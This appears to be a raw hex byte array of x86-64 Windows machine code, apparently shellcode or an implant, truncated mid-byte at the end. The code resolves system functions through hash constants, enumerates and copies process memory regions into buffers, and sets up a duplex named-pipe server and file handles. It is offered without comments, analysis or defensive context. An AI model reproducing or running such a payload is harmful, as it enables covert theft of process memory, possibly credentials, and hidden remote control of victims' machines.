0x8B,0x85,0x40,0x01,0x00,0x00,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x08,0x92,0xFF,0xFF,0x48,0xC7,0x85,0x40,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xEB,0x7A,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x48,0x8B,0x00,0x48,0x89,0x85,0x48,0x01,0x00,0x00,0x48,0x83,0xBD,0x48,0x01,0x00,0x00,0x00,0x0F,0x85,0x56,0xFC,0xFF,0xFF,0x8B,0x85,0x9C,0x00,0x00,0x00,0x6B,0xC0,0x6C,0x83,0xC0,0x04,0x89,0x45,0x1C,0x48,0x8D,0x55,0x1C,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x30,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x93,0xF1,0xFF,0xFF,0x48,0x8D,0x95,0x98,0x00,0x00,0x00,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x34,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x6F,0xF1,0xFF,0xFF,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0x48,0x81,0xC4,0xD8,0x01,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x10,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0x8B,0x45,0x18,0x48,0x89,0x45,0xF8,0xEB,0x40,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x08,0x48,0x8B,0x55,0x10,0x48,0x39,0xC2,0x72,0x24,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x08,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x10,0x89,0xC0,0x48,0x01,0xD0,0x48,0x8B,0x55,0x10,0x48,0x39,0xC2,0x73,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x17,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0xB9,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x10,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xA0,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0x90,0x0F,0x11,0x45,0xA0,0x0F,0x11,0x45,0xB0,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x00,0x4C,0x8D,0x45,0x90,0x8B,0x4D,0xDC,0x48,0x8B,0x55,0xF0,0x48,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x20,0x30,0x00,0x00,0x00,0x4D,0x89,0xC1,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x80,0xD9,0xFF,0xFF,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x0F,0x88,0x81,0x01,0x00,0x00,0x48,0x8B,0x45,0x90,0x48,0x89,0x45,0xD0,0x48,0x8B,0x45,0xA8,0x48,0x89,0x45,0xC8,0x48,0x8B,0x55,0xD0,0x48,0x8B,0x45,0xC8,0x48,0x01,0xC2,0x48,0x8B,0x45,0xD0,0x48,0x39,0xC2,0x0F,0x82,0x5C,0x01,0x00,0x00,0x48,0x8B,0x55,0xD0,0x48,0x8B,0x45,0xC8,0x48,0x01,0xD0,0x48,0x89,0x45,0xF0,0x8B,0x45,0xB0,0x3D,0x00,0x10,0x00,0x00,0x0F,0x85,0x18,0x01,0x00,0x00,0x8B,0x45,0xB8,0x3D,0x00,0x00,0x04,0x00,0x0F,0x84,0x10,0x01,0x00,0x00,0x8B,0x45,0xB4,0x83,0xE0,0x01,0x85,0xC0,0x0F,0x85,0x08,0x01,0x00,0x00,0x8B,0x45,0xB4,0x25,0x00,0x01,0x00,0x00,0x85,0xC0,0x0F,0x85,0xFE,0x00,0x00,0x00,0x8B,0x45,0xB4,0x83,0xE0,0x10,0x85,0xC0,0x0F,0x85,0xF6,0x00,0x00,0x00,0x8B,0x45,0xB8,0x3D,0x00,0x00,0x00,0x01,0x75,0x18,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0xD0,0x48,0x89,0xC1,0xE8,0x7B,0xFE,0xFF,0xFF,0x85,0xC0,0x0F,0x84,0xDA,0x00,0x00,0x00,0x48,0x8B,0x05,0xE2,0xB8,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x28,0x00,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD3,0xB8,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xC0,0x48,0x83,0x7D,0xC0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xC1,0x00,0x00,0x00,0x48,0x8B,0x45,0xC0,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x55,0xD0,0x48,0x8B,0x45,0xC0,0x48,0x89,0x50,0x08,0x48,0x8B,0x45,0xC0,0x48,0x8B,0x55,0xC8,0x48,0x89,0x50,0x10,0x8B,0x55,0xB0,0x48,0x8B,0x45,0xC0,0x89,0x50,0x18,0x8B,0x55,0xB4,0x48,0x8B,0x45,0xC0,0x89,0x50,0x1C,0x8B,0x55,0xB8,0x48,0x8B,0x45,0xC0,0x89,0x50,0x20,0x48,0x83,0x7D,0xF8,0x00,0x75,0x0A,0x48,0x8B,0x45,0xC0,0x48,0x89,0x45,0xF8,0xEB,0x2C,0x48,0x8B,0x45,0xF8,0x48,0x89,0x45,0xE0,0xEB,0x0B,0x48,0x8B,0x45,0xE0,0x48,0x8B,0x00,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x8B,0x00,0x48,0x85,0xC0,0x75,0xE9,0x48,0x8B,0x45,0xE0,0x48,0x8B,0x55,0xC0,0x48,0x89,0x10,0x83,0x45,0xEC,0x01,0xE9,0x64,0xFE,0xFF,0xFF,0x90,0xE9,0x5E,0xFE,0xFF,0xFF,0x90,0xE9,0x58,0xFE,0xFF,0xFF,0x90,0xE9,0x52,0xFE,0xFF,0xFF,0x90,0xE9,0x4C,0xFE,0xFF,0xFF,0x90,0xE9,0x46,0xFE,0xFF,0xFF,0x90,0xE9,0x40,0xFE,0xFF,0xFF,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xF8,0x48,0x81,0xC4,0xA0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x78,0x48,0x8D,0x6C,0x24,0x70,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0x48,0x8B,0x45,0x20,0x8B,0x40,0x10,0x89,0x45,0xE0,0x48,0x8B,0x55,0x28,0x48,0x8B,0x45,0x20,0x48,0x89,0xC1,0xE8,0xB3,0xFD,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x76,0x03,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x89,0x45,0xF8,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xEB,0x17,0x48,0x8B,0x45,0xD8,0x48,0x83,0xC0,0x01,0x48,0x89,0x45,0xD8,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0xE2,0x48,0x8D,0x55,0xD8,0x48,0x8B,0x45,0x20,0x41,0xB8,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x93,0xEE,0xFF,0xFF,0x85,0xC0,0x75,0x23,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x49,0x8E,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x09,0x03,0x00,0x00,0x48,0x8B,0x45,0xD8,0x48,0x83,0xC0,0x01,0x48,0xC1,0xE0,0x04,0xBA,0xFF,0xFF,0xFF,0xFF,0x48,0x39,0xC2,0x73,0x23,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x10,0x8E,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xD0,0x02,0x00,0x00,0x48,0x8B,0x45,0xD8,0x83,0xC0,0x01,0xC1,0xE0,0x04,0x89,0x45,0xD4,0x8B,0x45,0xE0,0x89,0xC2,0x8B,0x45,0xD4,0x89,0xC0,0x48,0x01,0xD0,0x48,0x89,0x45,0xC8,0x48,0x8D,0x55,0xC8,0x48,0x8B,0x45,0x20,0x41,0xB8,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xFF,0xED,0xFF,0xFF,0x85,0xC0,0x75,0x23,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB5,0x8D,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x75,0x02,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x89,0x45,0xF8,0xE9,0x8D,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8D,0x50,0x08,0x48,0x8B,0x45,0x20,0x41,0xB8,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB1,0xED,0xFF,0xFF,0x85,0xC0,0x75,0x23,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x67,0x8D,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x27,0x02,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8D,0x50,0x10,0x48,0x8B,0x45,0x20,0x41,0xB8,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x70,0xED,0xFF,0xFF,0x85,0xC0,0x75,0x23,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x26,0x8D,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xE6,0x01,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x0F,0x85,0x68,0xFF,0xFF,0xFF,0x48,0x8D,0x55,0xD4,0x48,0x8B,0x45,0x20,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x3C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xCC,0xEC,0xFF,0xFF,0x48,0x8D,0x55,0xE0,0x48,0x8B,0x45,0x20,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x40,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xAE,0xEC,0xFF,0xFF,0x48,0x8B,0x45,0xF0,0x48,0x89,0x45,0xF8,0xE9,0x78,0x01,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x58,0x10,0x48,0x8B,0x05,0xAA,0xB5,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x9E,0xB5,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x4D,0x01,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x48,0x10,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x08,0x49,0x89,0xC2,0x48,0x8B,0x45,0x20,0x48,0x8B,0x00,0x48,0x8B,0x55,0xE8,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x49,0x89,0xC9,0x49,0x89,0xD0,0x4C,0x89,0xD2,0x48,0x89,0xC1,0xE8,0xCE,0xD3,0xFF,0xFF,0x89,0x45,0xE4,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x10,0xBA,0xFF,0xFF,0xFF,0xFF,0x48,0x39,0xC2,0x73,0x0D,0x48,0x8B,0x45,0xF8,0xBB,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0x58,0x10,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x10,0x89,0xC1,0x48,0x8B,0x55,0xE8,0x48,0x8B,0x45,0x20,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x39,0xEC,0xFF,0xFF,0x85,0xC0,0x75,0x6C,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xEF,0x8B,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0xE8,0x00,0x74,0x45,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x10,0x48,0x8B,0x45,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x50,0x23,0x00,0x00,0x48,0x8B,0x05,0xC1,0xB4,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xB9,0xB4,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xEB,0x66,0x48,0x83,0x7D,0xE8,0x00,0x74,0x45,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x10,0x48,0x8B,0x45,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xFD,0x22,0x00,0x00,0x48,0x8B,0x05,0x6E,0xB4,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x66,0xB4,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x0F,0x85,0x7D,0xFE,0xFF,0xFF,0x48,0x8B,0x45,0xF0,0x48,0x83,0xC4,0x78,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xC7,0xEB,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xC4,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x98,0xED,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xAA,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x7F,0xEE,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x90,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xEC,0xF1,0xFF,0xFF,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x72,0x48,0x8B,0x55,0xF8,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xB9,0xFB,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x20,0x48,0x8B,0x45,0xF8,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x83,0x8A,0xFF,0xFF,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xEB,0x37,0x48,0x8B,0x45,0xF8,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x63,0x8A,0xFF,0xFF,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x4A,0x8A,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x9A,0x47,0x00,0x00,0x48,0x89,0xC1,0xE8,0x97,0x96,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xEF,0xA2,0x08,0x9E,0x48,0x89,0xC1,0xE8,0xA5,0x94,0xFF,0xFF,0x48,0x89,0x45,0xD8,0x48,0x83,0x7D,0xD8,0x00,0x0F,0x84,0xC1,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x64,0x47,0x00,0x00,0x48,0x89,0xC1,0xE8,0x61,0x96,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xDC,0x72,0x80,0x5A,0x48,0x89,0xC1,0xE8,0x6F,0x94,0xFF,0xFF,0x48,0x89,0x45,0xD0,0x48,0x83,0x7D,0xD0,0x00,0x0F,0x84,0x8E,0x00,0x00,0x00,0x48,0x8B,0x05,0x8B,0xB2,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x0A,0x02,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x7C,0xB2,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x74,0x66,0x48,0x8B,0x55,0x10,0x48,0x8B,0x45,0xE8,0x49,0x89,0xD1,0x4C,0x8D,0x05,0x17,0x47,0x00,0x00,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x18,0x21,0x00,0x00,0x48,0x8B,0x55,0xE8,0x48,0x8B,0x45,0xD8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0xB9,0x02,0x00,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x28,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x55,0xD0,0x48,0x89,0xC1,0xFF,0xD2,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x74,0x15,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x0C,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xC5,0xD0,0xFF,0xFF,0x48,0x83,0x7D,0xE8,0x00,0x74,0x21,0x48,0x8B,0x05,0xD9,0xB1,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD1,0xB1,0x00,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xC0,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xA0,0x0F,0x11,0x45,0xB0,0x66,0x0F,0xD6,0x45,0xC0,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0x80,0x66,0x0F,0xD6,0x45,0x90,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xFD,0x45,0x00,0x00,0x48,0x89,0xC1,0xE8,0xCA,0x94,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x1D,0x21,0x88,0x03,0x48,0x89,0xC1,0xE8,0xD8,0x92,0xFF,0xFF,0x48,0x89,0x45,0xD8,0x48,0x83,0x7D,0xD8,0x00,0x0F,0x84,0x84,0x01,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xC7,0x45,0x00,0x00,0x48,0x89,0xC1,0xE8,0x94,0x94,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x86,0xE8,0x93,0x16,0x48,0x89,0xC1,0xE8,0xA2,0x92,0xFF,0xFF,0x48,0x89,0x45,0xD0,0x48,0x83,0x7D,0xD0,0x00,0x0F,0x84,0x51,0x01,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xAB,0x45,0x00,0x00,0x48,0x89,0xC1,0xE8,0x5E,0x94,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x44,0x3B,0x99,0x58,0x48,0x89,0xC1,0xE8,0x6C,0x92,0xFF,0xFF,0x48,0x89,0x45,0xC8,0x48,0x83,0x7D,0xC8,0x00,0x0F,0x84,0x1E,0x01,0x00,0x00,0x48,0x8B,0x05,0x88,0xB0,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x0A,0x02,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x79,0xB0,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xF2,0x00,0x00,0x00,0x48,0x8D,0x45,0xA0,0x4C,0x8B,0x45,0xD8,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0x41,0xFF,0xD0,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xD5,0x00,0x00,0x00,0x48,0x8D,0x45,0x80,0x48,0x8D,0x50,0x08,0x48,0x8B,0x45,0xD0,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x0D,0x2F,0x45,0x00,0x00,0xFF,0xD0,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xA8,0x00,0x00,0x00,0x48,0x8B,0x55,0x10,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD1,0x4C,0x8D,0x05,0x34,0x45,0x00,0x00,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC1,0x1E,0x00,0x00,0x83,0x7D,0x18,0x00,0x74,0x07,0xB8,0x03,0x00,0x00,0x40,0xEB,0x05,0xB8,0x03,0x00,0x00,0x00,0x89,0x45,0xE8,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0xFF,0x00,0x00,0x00,0x44,0x8B,0x4D,0xE0,0x44,0x8B,0x45,0xE4,0x8B,0x55,0xE8,0x48,0x8B,0x45,0xF0,0x48,0x8D,0x4D,0x80,0x48,0x89,0x4C,0x24,0x38,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x10,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x10,0x00,0x00,0x4C,0x8B,0x55,0xC8,0x48,0x89,0xC1,0x41,0xFF,0xD2,0x48,0x8B,0x55,0x20,0x48,0x89,0x02,0x48,0x8B,0x45,0x20,0x48,0x8B,0x00,0x48,0x83,0xF8,0xFF,0x74,0x1B,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x21,0x48,0x8B,0x05,0x56,0xAF,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x4E,0xAF,0x00,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x81,0xC4,0xC0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xEF,0x43,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA2,0x92,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xA4,0x6E,0x97,0x24,0x48,0x89,0xC1,0xE8,0xB0,0x90,0xFF,0xFF,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x9F,0x00,0x00,0x00,0x48,0x8B,0x05,0xCC,0xAE,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x0A,0x02,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xBD,0xAE,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x77,0x48,0x8B,0x55,0x10,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD1,0x4C,0x8D,0x05,0xCC,0x43,0x00,0x00,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x59,0x1D,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x03,0x00,0x00,0x00,0x4C,0x8B,0x55,0xE8,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0xC0,0x48,0x89,0xC1,0x41,0xFF,0xD2,0x48,0x8B,0x55,0x18,0x48,0x89,0x02,0x48,0x8B,0x45,0x18,0x48,0x8B,0x00,0x48,0x83,0xF8,0xFF,0x74,0x0F,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x21,0x48,0x8B,0x05,0x1F,0xAE,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x17,0xAE,0x00,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xC0,0x42,0x00,0x00,0x48,0x89,0xC1,0xE8,0x73,0x91,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x66,0x94,0x01,0x96,0x48,0x89,0xC1,0xE